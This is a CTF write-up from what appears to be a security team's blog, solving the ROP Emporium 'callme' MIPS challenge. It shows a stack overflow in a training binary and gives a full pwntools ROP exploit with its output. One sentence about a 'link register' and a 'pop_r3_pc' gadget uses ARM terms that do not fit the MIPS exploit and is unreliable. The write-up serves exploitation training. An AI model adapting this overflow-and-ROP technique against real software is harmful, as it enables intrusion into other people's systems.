Welcome to the Debugmen blog. We use this site to post tools, security findings, CTF writeups and anything else we find worthy of release to the public.

ROPemporium: CallMe MIPS

callme MIPS

Triage

Chain calls to multiple imported methods with specific arguments and see how the differences between 64 & 32 bit calling conventions affect your ROP chain.

Disassembly

main function calls vulnerable call pwnme

pwnme function

Eumulation

Because this binary is an MIPS archetecture, to be able to run the binary we need to emulate it somehow.

I will be using qemu, specifically qemu-mipsel

Install require libraries sudo apt install gcc-mipsel-linux-gnu

Run the binary qemu-mipsel -L /usr/mipsel-linux-gnu ./callme_mipsel

Vulnerability

In the pwnme function, 0x200 bytes are read into the user_input buff but the user_input buff is on the stack -0x28 (-40) bytes off from the return address.

If we supply 40 bytes, the last 4 bytes will overflow the return address and we gain control of the program counter.

Confirming the vulnerability:

python -c 'print "A"*36+"BBBB"' |qemu-mipsel -strace -L /usr/mipsel-linux-gnu ./callme_mipsel
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    3278807 done                              python -c 'print "A"*36+"BBBB"' | 
       3278808 segmentation fault (core dumped)  qemu-mipsel -strace -L /usr/mipsel-linux-gnu ./callme_mipsel

Exploit

Description says: To dispose of the need for any RE I'll tell you the following: You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag.

In mipsel the way to pass function parameters through registers: a0,a1,a2,a3

We need gadgets that can load the values off the stack and into the correct registers. Using ROPgadget: lw_a0_a1_a2_t9 = p32(0x00400bb0)# : lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop

We set the link register to the pop_r3_pc gadget to place the next function on the stack into pc but we also have a junk register of r3 so I place 0 in there,

Script

from pwn import *

context.binary = elf = ELF("./callme_mipsel")

lw_a0_a1_a2_t9 = p32(0x00400bb0)# : lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop

payload = "A"*36
payload += lw_a0_a1_a2_t9
payload += p32(0)
payload += p32(elf.sym['callme_one']) # t9
payload += p32(0xd00df00d)	# a2
payload += p32(0xcafebabe)	# a1
payload += p32(0xdeadbeef)	# a0

payload += lw_a0_a1_a2_t9
payload += p32(0)
payload += p32(elf.sym['callme_two']) # t9
payload += p32(0xd00df00d)	# a2
payload += p32(0xcafebabe)	# a1
payload += p32(0xdeadbeef)	# a0

payload += lw_a0_a1_a2_t9
payload += p32(0)
payload += p32(elf.sym['callme_three']) # t9
payload += p32(0xd00df00d)	# a2
payload += p32(0xcafebabe)	# a1
payload += p32(0xdeadbeef)	# a0

io = process("./callme_mipsel",env={"QEMU_LD_PREFIX":"/usr/mipsel-linux-gnu"})
#io =gdb.debug("./callme_mipsel",env={"QEMU_LD_PREFIX":"/usr/mipsel-linux-gnu"})
io.sendline(payload)
io.interactive()

Result

[*] '/home/chris/ctfs/ropemporium/callme/mips/callme_mipsel'
    Arch:     mips-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  '.'
[+] Starting local process './callme_mipsel': pid 3281191
[*] Switching to interactive mode
callme by ROP Emporium
MIPS

Hope you read the instructions...

> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$